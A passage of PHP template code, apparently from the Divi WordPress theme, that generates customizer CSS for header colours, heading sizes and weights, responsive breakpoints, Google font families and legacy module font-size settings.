?>; } <?php } ?> <?php if ( $fixed_primary_nav_bg !== $primary_nav_bg ) { ?> .et-fixed-header#main-header, .et-fixed-header#main-header .nav li ul, .et-fixed-header .et-search-form { background-color: <?php echo esc_html( $fixed_primary_nav_bg ); ?>; } <?php } ?> <?php if ( $fixed_primary_nav_font_size !== $primary_nav_font_size ) { ?> .et-fixed-header #top-menu li a { font-size: <?php echo esc_html( $fixed_primary_nav_font_size ); ?>px; } <?php } ?> <?php if ( $fixed_menu_link !== 'rgba(0,0,0,0.6)' ) { ?> .et-fixed-header #top-menu a, .et-fixed-header #et_search_icon:before, .et-fixed-header #et_top_search .et-search-form input, .et-fixed-header .et_search_form_container input, .et-fixed-header .et_close_search_field:after, .et-fixed-header #et-top-navigation .et-cart-info { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; } .et-fixed-header .et_search_form_container input::-moz-placeholder { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; } .et-fixed-header .et_search_form_container input::-webkit-input-placeholder { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; } .et-fixed-header .et_search_form_container input:-ms-input-placeholder { color: <?php echo esc_html( $fixed_menu_link ); ?> !important; } <?php } ?> <?php if ( $fixed_menu_link_active !== '#2ea3f2' ) { ?> .et-fixed-header #top-menu li.current-menu-ancestor > a, .et-fixed-header #top-menu li.current-menu-item > a, .et-fixed-header #top-menu li.current_page_item > a { color: <?php echo esc_html( $fixed_menu_link_active ); ?> !important; } <?php } ?> <?php if ( '#ffffff' !== $fixed_secondary_menu_link ) { ?> .et-fixed-header#top-header a { color: <?php echo esc_html( $fixed_secondary_menu_link ); ?>; } <?php } ?> <?php /* Blog Meta & Title */ et_pb_print_styles_css( array( array( 'key' => 'post_meta_font_size', 'type' => 'font-size', 'default' => 14, 'selector' => $et_pb_print_selectors_post_meta, ), array( 'key' => 'post_header_font_size', 'type' => 'font-size-post-header', 'default' => 30, 'selector' => '', ), ) ); ?> } @media only screen and ( min-width: <?php echo esc_html( $large_content_width ); ?>px) { <?php echo $css( '.et_pb_row', false ); ?> { padding: <?php echo esc_html( intval( $large_content_width * $row_padding / 100 ) ); ?>px 0; } <?php echo $css( '.et_pb_section', false ); ?> { padding: <?php echo esc_html( intval( $large_content_width * $section_padding / 100 ) ); ?>px 0; } .single.et_pb_pagebuilder_layout.et_full_width_page .et_post_meta_wrapper { padding-top: <?php echo esc_html( intval( $large_content_width * $row_padding / 100 * 3 ) ); ?>px; } <?php echo $css( '.et_pb_fullwidth_section', false ); ?> { padding: 0; } } <?php if ( 30 !== $body_header_size ) { ?> <?php echo $css( 'h1' ); ?>, <?php echo $css( 'h1.et_pb_contact_main_title' ); ?>, <?php echo $css( '.et_pb_title_container h1' ); ?> { font-size: <?php echo esc_html( $body_header_size ); ?>px; } <?php echo $css( 'h2' ); ?>, <?php echo $css( '.product .related h2' ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> { font-size: <?php echo esc_html( intval( $body_header_size * .86 ) ) ; ?>px; } <?php echo $css( 'h3' ); ?> { font-size: <?php echo esc_html( intval( $body_header_size * .73 ) ); ?>px; } <?php echo $css( 'h4' ); ?>, <?php echo $css( '.et_pb_circle_counter h3', false ); ?>, <?php echo $css( '.et_pb_number_counter h3', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> { font-size: <?php echo esc_html( intval( $body_header_size * .6 ) ); ?>px; } <?php echo $css( 'h5' ); ?> { font-size: <?php echo esc_html( intval( $body_header_size * .53 ) ); ?>px; } <?php echo $css( 'h6' ); ?> { font-size: <?php echo esc_html( intval( $body_header_size * .47 ) ); ?>px; } <?php echo $css( '.et_pb_slide_description .et_pb_slide_title', false ); ?> { font-size: <?php echo esc_html( intval( $body_header_size * 1.53 ) ); ?>px; } <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>, <?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>, <?php } ?> <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> { font-size: <?php echo esc_html( intval( $body_header_size * .53 ) ); ?>px; } <?php } ?> <?php if ( 500 !== $heading_font_weight ) { ?> <?php // phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?> <?php echo $css( 'h1' ); ?>, <?php echo $css( 'h1.et_pb_contact_main_title' ); ?>, <?php echo $css( '.et_pb_title_container h1' ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php echo $css( 'h2' ); ?>, <?php echo $css( '.product .related h2' ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php echo $css( 'h3' ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php echo $css( 'h4' ); ?>, <?php echo $css( '.et_pb_circle_counter h3', false ); ?>, <?php echo $css( '.et_pb_number_counter h3', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php echo $css( 'h5' ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php echo $css( 'h6' ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php echo $css( '.et_pb_slide_description .et_pb_slide_title', false ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>, <?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>, <?php } ?> <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> { font-weight: <?php echo esc_html( $heading_font_weight ); ?>; } <?php // phpcs:enable WordPress.Security.EscapeOutput.OutputNotEscaped -- Following the existing standards ?> <?php } ?> @media only screen and ( max-width: 980px ) { <?php if ( $mobile_primary_nav_bg !== $primary_nav_bg ) { ?> #main-header, #main-header .nav li ul, .et-search-form, #main-header .et_mobile_menu { background-color: <?php echo esc_html( $mobile_primary_nav_bg ); ?>; } <?php } ?> <?php if ( $menu_link !== $mobile_menu_link ) { ?> .et_header_style_centered .mobile_nav .select_page, .et_header_style_split .mobile_nav .select_page, .et_mobile_menu li a, .mobile_menu_bar:before, .et_nav_text_color_light #top-menu > li > a, .et_nav_text_color_dark #top-menu > li > a, #top-menu a, .et_mobile_menu li a, #et_search_icon:before, #et_top_search .et-search-form input, .et_search_form_container input, #et-top-navigation .et-cart-info { color: <?php echo esc_html( $mobile_menu_link ); ?>; } .et_close_search_field:after { color: <?php echo esc_html( $mobile_menu_link ); ?> !important; } .et_search_form_container input::-moz-placeholder { color: <?php echo esc_html( $mobile_menu_link ); ?>; } .et_search_form_container input::-webkit-input-placeholder { color: <?php echo esc_html( $mobile_menu_link ); ?>; } .et_search_form_container input:-ms-input-placeholder { color: <?php echo esc_html( $mobile_menu_link ); ?>; } <?php } ?> <?php if ( 14 !== $tablet_body_font_size && $body_font_size !== $tablet_body_font_size ) { ?> <?php echo esc_html( $body_selector_sibling ); ?> <?php echo esc_html( $body_selector ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?> { font-size: <?php echo esc_html( $tablet_body_font_size ); ?>px; } <?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_content', false ); ?>, <?php echo $css( '.et_pb_best_value', false ); ?> { font-size: <?php echo esc_html( intval( $tablet_body_font_size * 1.14 ) ); ?>px; } <?php } ?> <?php if ( 30 !== $tablet_header_font_size && $tablet_header_font_size !== $body_header_size ) { ?> <?php echo $css( 'h1' ); ?> { font-size: <?php echo esc_html( $tablet_header_font_size ); ?>px; } <?php echo $css( 'h2' ); ?>, <?php echo $css( '.product .related h2' ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> { font-size: <?php echo esc_html( intval( $tablet_header_font_size * .86 ) ) ; ?>px; } <?php echo $css( 'h3' ); ?> { font-size: <?php echo esc_html( intval( $tablet_header_font_size * .73 ) ); ?>px; } <?php echo $css( 'h4', false ); ?>, <?php echo $css( '.et_pb_circle_counter h3', false ); ?>, <?php echo $css( '.et_pb_number_counter h3', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> { font-size: <?php echo esc_html( intval( $tablet_header_font_size * .6 ) ); ?>px; } <?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_description .et_pb_slide_title', false ); ?> { font-size: <?php echo esc_html( intval( $tablet_header_font_size * 1.53 ) ); ?>px; } <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>, <?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>, <?php } ?> <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> { font-size: <?php echo esc_html( intval( $tablet_header_font_size * .53 ) ); ?>px; } <?php echo $css( 'h5' ); ?> { font-size: <?php echo esc_html( intval( $tablet_header_font_size * .53 ) ); ?>px; } <?php echo $css( 'h6' ); ?> { font-size: <?php echo esc_html( intval( $tablet_header_font_size * .47 ) ); ?>px; } <?php } ?> <?php if ( 50 !== $tablet_section_height ) { ?> <?php echo $css( '.et_pb_section', false ); ?> { padding: <?php echo esc_html( $tablet_section_height ); ?>px 0; } <?php echo $css( '.et_pb_section.et_pb_fullwidth_section', false ); ?> { padding: 0; } <?php } ?> <?php if ( 30 !== $tablet_row_height ) { ?> <?php echo $css( '.et_pb_row', false ); ?>, <?php echo $css( '.et_pb_column .et_pb_row_inner', false ); ?> { padding: <?php echo esc_html( $tablet_row_height ); ?>px 0; } <?php } ?> } @media only screen and ( max-width: 767px ) { <?php if ( 14 !== $phone_body_font_size && $phone_body_font_size !== $tablet_body_font_size ) { ?> <?php echo esc_html( $body_selector_sibling ); ?> <?php echo esc_html( $body_selector ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote cite', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content a.et_link_main_url', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content a.et_link_main_url', false ); ?> { font-size: <?php echo esc_html( $phone_body_font_size ); ?>px; } <?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_content', false ); ?>, <?php echo $css( '.et_pb_best_value', false ); ?> { font-size: <?php echo esc_html( intval( $phone_body_font_size * 1.14 ) ); ?>px; } <?php } ?> <?php if ( 30 !== $phone_header_font_size && $tablet_header_font_size !== $phone_header_font_size ) { ?> <?php echo $css( 'h1' ); ?> { font-size: <?php echo esc_html( $phone_header_font_size ); ?>px; } <?php echo $css( 'h2' ); ?>, <?php echo $css( '.product .related h2' ); ?>, <?php echo $css( '.et_pb_column_1_2 .et_quote_content blockquote p', false ); ?> { font-size: <?php echo esc_html( intval( $phone_header_font_size * .86 ) ) ; ?>px; } <?php echo $css( 'h3' ); ?> { font-size: <?php echo esc_html( intval( $phone_header_font_size * .73 ) ); ?>px; } <?php echo $css( 'h4' ); ?>, <?php echo $css( '.et_pb_circle_counter h3', false ); ?>, <?php echo $css( '.et_pb_number_counter h3', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_post h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_quote_content blockquote p', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_link_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_blog_grid .et_audio_content h2', false ); ?>, <?php echo $css( '.et_pb_column_3_8 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_column_1_3 .et_pb_audio_module_content h2', false ); ?>, <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?> { font-size: <?php echo esc_html( intval( $phone_header_font_size * .6 ) ); ?>px; } <?php echo $css( '.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_description .et_pb_slide_title', false ); ?> { font-size: <?php echo esc_html( intval( $phone_header_font_size * 1.53 ) ); ?>px; } <?php if ( et_is_woocommerce_plugin_active() ) { ?> <?php echo $css( '.woocommerce', 'ul.products li.product h3' ); ?>, <?php echo $css( '.woocommerce-page', 'ul.products li.product h3' ); ?>, <?php } ?> <?php echo $css( '.et_pb_gallery_grid .et_pb_gallery_item h3', false ); ?>, <?php echo $css( '.et_pb_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2', false ); ?>, <?php echo $css( '.et_pb_column_1_4 .et_pb_audio_module_content h2', false ); ?> { font-size: <?php echo esc_html( intval( $phone_header_font_size * .53 ) ); ?>px; } <?php echo $css( 'h5' ); ?> { font-size: <?php echo esc_html( intval( $phone_header_font_size * .53 ) ) ?>px; } <?php echo $css( 'h6' ); ?> { font-size: <?php echo esc_html( intval( $phone_header_font_size * .47 ) ) ?>px; } <?php } ?> <?php if ( 50 !== $phone_section_height && $tablet_section_height !== $phone_section_height ) { ?> <?php echo $css( '.et_pb_section', false ); ?> { padding: <?php echo esc_html( $phone_section_height ); ?>px 0; } <?php echo $css( '.et_pb_section.et_pb_fullwidth_section', false ); ?> { padding: 0; } <?php } ?> <?php if ( 30 !== $phone_row_height && $tablet_row_height !== $phone_row_height ) { ?> <?php echo $css( '.et_pb_row', false ); ?>, <?php echo $css( '.et_pb_column .et_pb_row_inner', false ); ?> { padding: <?php echo esc_html( $phone_row_height ); ?>px 0; } <?php } ?> } <?php // <<<--------- END THEME CUSTOMIZER CSS --------->>> /** * Filter Theme Customizer CSS output. * * @since 3.0.51 * * @param string $theme_customizer_css */ $css_output[] = apply_filters( 'et_divi_theme_customizer_css_output', ob_get_clean() ); $et_gf_heading_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'heading_font', 'none' ) ) ); $et_gf_body_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'body_font', 'none' ) ) ); $et_gf_buttons_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'all_buttons_font', 'none' ) ) ); $et_gf_primary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'primary_nav_font', 'none' ) ) ); $et_gf_secondary_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'secondary_nav_font', 'none' ) ) ); $et_gf_slide_nav_font = sanitize_text_field( et_pb_get_specific_default_font( et_get_option( 'slide_nav_font', 'none' ) ) ); /* ========================================= * --------->>> BEGIN FONTS CSS <<<--------- * ========================================= */ ob_start(); if ( ! in_array( $et_gf_heading_font, array( '', 'none' ), true ) || ! in_array( $et_gf_body_font, array( '', 'none' ), true ) || ! in_array( $et_gf_buttons_font, array( '', 'none' ), true ) || ! in_array( $et_gf_primary_nav_font, array( '', 'none' ), true ) || ! in_array( $et_gf_secondary_nav_font, array( '', 'none' ), true ) || ! in_array( $et_gf_slide_nav_font, array( '', 'none' ), true ) ) { if ( ! in_array( $et_gf_heading_font, array( '', 'none' ) ) ) { ?> <?php echo $css( 'h1' ); ?>, <?php echo $css( 'h2' ); ?>, <?php echo $css( 'h3' ); ?>, <?php echo $css( 'h4' ); ?>, <?php echo $css( 'h5' ); ?>, <?php echo $css( 'h6' ); ?> { <?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_heading_font ) ); ?> } <?php } if ( ! in_array( $et_gf_body_font, array( '', 'none' ) ) ) { ?> body, <?php echo $css( 'input' ); ?>, <?php echo $css( 'textarea' ); ?>, <?php echo $css( 'select' ); ?> { <?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_body_font ) ); ?> } <?php } if ( ! in_array( $et_gf_buttons_font, array( '', 'none' ) ) ) { ?> <?php echo $css( '.et_pb_button', false ); ?> { <?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_buttons_font ) ); ?> } <?php } if ( ! in_array( $et_gf_primary_nav_font, array( '', 'none' ) ) ) { ?> #main-header, #et-top-navigation { <?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_primary_nav_font ) ); ?> } <?php } if ( ! in_array( $et_gf_secondary_nav_font, array( '', 'none' ) ) ) { ?> #top-header .container { <?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_secondary_nav_font ) ); ?> } <?php } if ( ! in_array( $et_gf_slide_nav_font, array( '', 'none' ) ) ) { ?> .et_slide_in_menu_container, .et_slide_in_menu_container .et-search-field{ <?php echo sanitize_text_field( et_builder_get_font_family( $et_gf_slide_nav_font ) ); ?> } <?php } } // <<<--------- END FONTS CSS --------->>> /** * Filter fonts CSS output. * * @since 3.0.51 * * @param string $css_output */ $css_output[] = apply_filters( 'et_divi_fonts_css_output', ob_get_clean() ); /** * use_sidebar_width might invalidate the use of sidebar_width. * It is placed outside other customizer style so live preview * can invalidate and revalidate it for smoother experience */ if ( $use_sidebar_width && 21 !== $sidebar_width && 19 <= $sidebar_width && 33 >= $sidebar_width ) { $content_width = 100 - $sidebar_width; $content_width_percentage = $content_width . '%'; $sidebar_width_percentage = $sidebar_width . '%'; $sidebar_width_css = sprintf( 'body #page-container #sidebar { width:%2$s; } body #page-container #left-area { width:%1$s; } .et_right_sidebar #main-content .container:before { right:%2$s !important; } .et_left_sidebar #main-content .container:before { left:%2$s !important; }', esc_html( $content_width_percentage ), esc_html( $sidebar_width_percentage ) ); /** * Filter sidebar width CSS output. * * @since 3.0.51 * * @param string $sidebar_width_css */ $css_output[] = apply_filters( 'et_divi_sidebar_width_css_output', $sidebar_width_css ); } /* ==================================================== * --------->>> BEGIN MODULE CUSTOMIZER CSS <<<-------- * ==================================================== */ /** * @since ?? * * Module Customizer contains only CSS responsible for the font size options. * The CSS is printed only if website has an unmigrated Module Customizer font size values into the * new Global Defaults system. The values suppose to be migrated at the first time when Global Defaults * changes are saved. */ $custom_defaults_unmigrated = et_get_option( 'builder_custom_defaults_unmigrated', false ); // Module customizer should only be printed if current page uses builder to avoid module // customizer styling being cached on `et-divi-customizer-global-*css` file which is only // served on non-builder page if ( et_core_is_builder_used_on_current_request() && $custom_defaults_unmigrated ) { ob_start(); /* Gallery */ et_pb_print_module_styles_css( 'et_pb_gallery', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_gallery_grid .et_pb_gallery_item .et_pb_gallery_title', ), array( 'type' => 'font-size', 'key' => 'caption_font_size', 'selector' => '.et_pb_gallery .et_pb_gallery_item .et_pb_gallery_caption', ), ) ); /* Blurb */ et_pb_print_module_styles_css( 'et_pb_blurb', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_blurb h4', ), ) ); /* Tabs */ et_pb_print_module_styles_css( 'et_pb_tabs', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_tabs_controls li', ), array( 'type' => 'padding-tabs', 'key' => 'padding', 'selector' => '', ), ) ); /* Slider */ et_pb_print_module_styles_css( 'et_pb_slider', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_slider_fullwidth_off .et_pb_slide_description .et_pb_slide_title', ), array( 'type' => 'font-size', 'key' => 'body_font_size', 'selector' => '.et_pb_slider_fullwidth_off .et_pb_slide_content', ), array( 'type' => 'padding-slider', 'key' => 'padding', 'selector' => '.et_pb_slider_fullwidth_off .et_pb_slide_description', ), ) ); /* Pricing Table */ et_pb_print_module_styles_css( 'et_pb_pricing_tables', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_pricing_heading h2', ), array( 'type' => 'font-size', 'key' => 'subheader_font_size', 'selector' => '.et_pb_best_value', ), array( 'type' => 'font-size', 'key' => 'price_font_size', 'selector' => '.et_pb_sum', ), ) ); /* Call to Action */ et_pb_print_module_styles_css( 'et_pb_cta', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_promo h2', ), array( 'type' => 'padding-call-to-action', 'key' => 'custom_padding', 'selector' => '', 'important' => true, ), ) ); /* Audio */ et_pb_print_module_styles_css( 'et_pb_audio', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_audio_module_content h2', ), array( 'type' => 'font-size', 'key' => 'caption_font_size', 'selector' => '.et_pb_audio_module p', ), ) ); /* Email Optin */ et_pb_print_module_styles_css( 'et_pb_signup', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_subscribe h2', ), array( 'type' => 'padding', 'key' => 'padding', 'selector' => '.et_pb_subscribe', ), ) ); /* Login */ et_pb_print_module_styles_css( 'et_pb_login', array( array( 'type' => 'font-size', 'key' => 'header_font_size', 'selector' => '.et_pb_login h2', ), array( 'type' => 'padding-top-bottom', 'key' => 'custom_padding', 'selector' => '.et_pb_login', ), ) ); /* Portfolio */ et_pb_print_module_styles_css( 'et_pb_portfolio', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_portfolio .et_pb_portfolio_item h2, .et_pb_fullwidth_portfolio .et_pb_portfolio_item h3, .et_pb_portfolio_grid .et_pb_portfolio_item h2', ), array( 'type' => 'font-size', 'key' => 'caption_font_size', 'selector' => '.et_pb_portfolio .et_pb_portfolio_item .post-meta, .et_pb_fullwidth_portfolio .et_pb_portfolio_item .post-meta, .et_pb_portfolio_grid .et_pb_portfolio_item .post-meta', ), ) ); /* Filterable Portfolio */ et_pb_print_module_styles_css( 'et_pb_filterable_portfolio', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_filterable_portfolio .et_pb_portfolio_item h2', ), array( 'type' => 'font-size', 'key' => 'caption_font_size', 'selector' => '.et_pb_filterable_portfolio .et_pb_portfolio_item .post-meta', ), array( 'type' => 'font-size', 'key' => 'filter_font_size', 'selector' => '.et_pb_filterable_portfolio .et_pb_portfolio_filters li', ), ) ); /* Bar Counter */ et_pb_print_module_styles_css( 'et_pb_counters', array( array( 'type' => 'font-size', 'key' => 'title_font_size', 'selector' => '.et_pb_counters .et_pb_counter_title', ), array( 'type' => 'font-size', 'key' => 